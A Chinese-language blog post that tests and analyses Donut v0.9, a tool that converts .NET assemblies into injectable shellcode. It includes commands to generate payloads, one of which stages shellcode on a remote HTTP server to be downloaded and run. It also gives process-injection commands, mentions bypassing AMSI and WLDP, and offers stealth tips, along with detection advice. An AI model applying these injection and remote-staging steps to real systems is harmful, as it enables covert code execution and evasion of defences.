Shellcode生成工具Donut测试分析
0x00 前言
Donut是一个shellcode生成工具，可以将.NET程序集转换为shellcode。这是对execute-assembly的进一步利用，隐蔽性更高，可扩展性更强。
结合byt3bl33d3r的SILENTTRINITY，将其转换为shellcode并进行注入，适用性更广。
本文将会对Donut进行测试，逐个分析Donut工程中的代码，总结这个工具的特点。
注：本文测试的版本使用的是Donut v0.9，新版本将会添加更多的功能，值得持续关注
Donut地址：
https://github.com/TheWover/donut
介绍Donut细节的文章：
https://thewover.github.io/Introducing-Donut/
https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/
https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
0x01 简介
本文将要介绍以下内容：
· 相关技术介绍
· 源码结构
· 实际测试
· 利用分析
0x02 相关技术介绍
1.Assembly.Load
用于在当前进程中加载.NET程序集，无法注入其他进程。
.NET程序集的测试代码：
namespace ConsoleApplication1
{
public class Program
{
public static void test()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
p.Start();
}
static void Main(string[] args)
{
test();
}
}
}
加载这个.NET程序集的时候会弹出计算器，用作验证功能。
(1)Powershell实现Assembly.Load
$bytes = [System.IO.File]::ReadAllBytes("ConsoleApplication1.exe")
[Reflection.Assembly]::Load($bytes)
[ConsoleApplication1.Program]::test()
注：可参考之前的文章《利用Assembly Load & LoadFile绕过Applocker的分析总结》
(2)C#实现Assembly.Load
https://github.com/anthemtotheego/SharpCradle
代码实现了从远程服务器下载.NET程序集并通过Assembly.Load进行加载。
2.execute-assembly
从内存中加载.NET程序集，能够以dll的形式注入到其他进程中。
注：可参考之前的文章《从内存加载.NET程序集(execute-assembly)的利用分析》
整个过程在内存执行，不写入文件系统(此时注入dll需要使用Dll反射)。
Payload以dll形式存在，不会产生可疑的进程。
注：如果使用Loadlibrary加载dll，dll必须写入文件系统。
3.Donut
基于execute-assembly，以shellcode的形式实现从内存中加载.NET程序集。
优点是注入到其他进程时不再依赖于Dll反射，更隐蔽，更易于扩展。
更隐蔽是指注入其他进程时不会存在dll。
更易于扩展是指能够执行shellcode的方法都可以使用Donut，基于Donut的二次开发也很容易。
0x03 源码结构
针对0.9版本的文件
1、子项目
1.DemoCreateProcess
https://github.com/TheWover/donut/tree/master/DemoCreateProcess
c#程序，编译后生成文件ClassLibrary.dll，功能为将传入的两个参数作为启动进程。
可通过Donut将其转换成shellcode，用作测试Donut生成shellcode的功能是否有效。
2.DonutTest
https://github.com/TheWover/donut/tree/master/DonutTest
c#程序，编译后生成文件DonutTest.exe，用于向指定pid的进程注入shellcode。
实现细节：
数组中保存base64加密后的shellcode，解密后通过CreateRemoteThread注入到指定进程。
3.rundotnet.cpp
https://github.com/TheWover/donut/blob/master/DonutTest/rundotnet.cpp
c程序，编译后的文件为rundotnet.exe，用于读取指定文件并使用CLR从内存加载.NET程序集。
从内存加载.NET程序集使用的方法：
· 使用当前系统中最新版本的.Net
· 使用ICorRuntimeHost接口
· 使用Load_3(...)从内存中读取并加载.NET程序集的Main方法
4.ModuleMonitor
https://github.com/TheWover/donut/tree/master/ModuleMonitor
使用WMI事件Win32_ModuleLoadTrace来监视模块加载，如果发现CLR注入，将会标记。
WMI事件Win32_ModuleLoadTrace：
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/krnlprov/win32-moduleloadtrace
程序中判断CLR注入的方法：
如果进程加载了CLR，但程序不是.NET程序集，则CLR已注入其中。
程序中判断进程加载CLR的方法：
进程是否加载了与CLR相关的dll(mscoree.dll,mscoreei.dll和mscorlib.dll)，dll以"msco"开头。
这个工程一般是作防御检测用，用来检测系统是否产生了CLR注入事件，所以在启动后进程会一直执行，实时记录系统加载新模块的事件。
这个地方使用tasklist.exe也能实现类似的功能，命令如下：
tasklist /m msco*
能够获得哪些进程调用了以"msco"开头的dll。
5.ProcessManager
https://github.com/TheWover/donut/tree/master/ProcessManager
用于枚举当前计算机或远程计算机上的进程。
同tasklist.exe的功能类似，增加以下功能：
· 判断进程权限
· 判断进程位数(32位还是64位)
· 判断进程是否加载CLR
2、组件
1.https://github.com/TheWover/donut/blob/master/payload/payload.c
Donut的关键功能，实现以下操作：
(1)获得shellcode并解密
提供两种方式：
· 从payload.h读取shellcode和解密密钥
· 从HTTP服务器下载shellcode和解密密钥
(2)使用CLR从内存加载.NET程序集
· 调用ICLRMetaHost::GetRuntime方法获取ICLRRuntimeInfo指针
· 使用ICorRuntimeHost接口
· 尝试关闭AMSI和WLDP
· 使用Load_3(...)从内存中读取
注：
介绍关闭AMSI和WLDP的细节：
https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
值得注意的地方：
通常情况下，使用ICorRuntimeHost接口时需要调用mscorlib.tlb
这里并没有使用mscorlib.tlb，是通过手动定义的方式实现。
更多细节可参考：
https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/
2.https://github.com/TheWover/donut/tree/master/payload/exe2h
用来将exe转换为shellcode并保存到数组中。
从payload.exe中的.text段中提取已编译的机器码(包括dll和解密密钥)，将其作为数组保存到payload_exe_x64.h或payload_exe_x86.h。
3.https://github.com/TheWover/donut/blob/master/payload/payload_exe_x64.h
存储64位的机器码(包括dll和解密密钥)。
4.https://github.com/TheWover/donut/blob/master/payload/payload_exe_x86.h
存储32位的机器码(包括dll和解密密钥)。
5.https://github.com/TheWover/donut/blob/master/payload/inject.c
使用RtlCreateUserThread向指定进程注入shellcode。
可用作测试向指定进程注入shellcode的功能。
6.https://github.com/TheWover/donut/blob/master/payload/runsc.c
C/S架构，两个功能，可以发送和接收shellcode并执行。
用于测试payload.bin的功能。
7.https://github.com/TheWover/donut/blob/master/encrypt.c
对称加密的实现。
8.https://github.com/TheWover/donut/blob/master/hash.c
API Hashing，这里使用了Maru hash。
9.https://github.com/TheWover/donut/blob/master/donut.c
主程序，用于将.NET程序集转换成shellcode。
0x04 实际测试
1、选择测试dll
这里使用子项目DemoCreateProcess
编译后生成文件ClassLibrary.dll
2、使用Donut生成shellcode
64位：
donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe
32位：
donut.exe -a 1 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe
命令执行后生成文件payload.bin。
如果加了-u指定URL，会再生成一个随机名称的Module文件，实例如下：
donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe -u http://192.168.1.1
生成文件payload.bin和YX63F37T。
将YX63F37T上传到http://192.168.1.1。
接下来通过注入shellcode的方式执行payload.bin，payload.bin会从http://192.168.1.1/YX63F37T下载实际的shellcode并执行。
3、查看进程信息
这里使用子项目ProcessManager。
列出进程后，Managed选项如果为True，代表该进程已经加载CLR。
ProcessManager支持对指定进程进行筛选，例如只查看notepad.exe的进行信息，命令如下：
ProcessManager.exe --name notepad
4、注入shellcode
假设目标进程为3306
(1)使用子项目DonutTest
将payload.bin作base64编码并保存在剪贴板，powershell命令如下：
$filename = "payload.bin"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip
替换DonutTest工程中对应的变量，编译成功后执行如下命令：
DonutTest.exe 3306
(2)使用RtlCreateUserThread
https://github.com/TheWover/donut/blob/master/payload/inject.c
命令如下：
inject.exe 3306 payload.bin
5、检测
列出加载了CLR但不是.NET程序集的进程，命令如下：
tasklist /m msco*
0x05 利用分析
Donut能够将.NET程序集转换为shellcode。
也就是说，使用C#开发的程序都能通过Donut转换成shellcode。
就目前的趋势来说，C#开源的工具越来越多，例如：
· https://github.com/GhostPack/SharpWMI
· https://github.com/checkymander/Sharp-WMIExec
· https://github.com/jnqpblc/SharpTask
在渗透测试中，C#将会逐步替代Powershell，Donut的利用也会是一个趋势。
Donut的利用思路：
1.将.NET程序集转换为shellcode，例如配合SILENTTRINITY使用 2.作为模块集成到其他工具中 3.扩展功能：支持类似meterpreter的migrate功能。
为了更为隐蔽，可以先使用ProcessManager列举已经加载CLR的进程，对其进行注入。
Donut的检测：
Donut需要使用CLR从内存中加载.NET程序集，可采取以下方法进行检测：
· 进程不是.NET程序集
· 进程加载了与CLR相关的dll(dll以"msco"开头)
注：
正常程序也有可能存在这个行为。
两种检测方法：
· 使用命令tasklist /m msco*
· 使用WMI事件Win32_ModuleLoadTrace来监视模块加载
对满足以上条件的进程重点监控。
0x06 小结
本文对Donut进行了测试分析，总结利用思路，给出防御建议。Donut值得深入研究，期待Donut的新版本。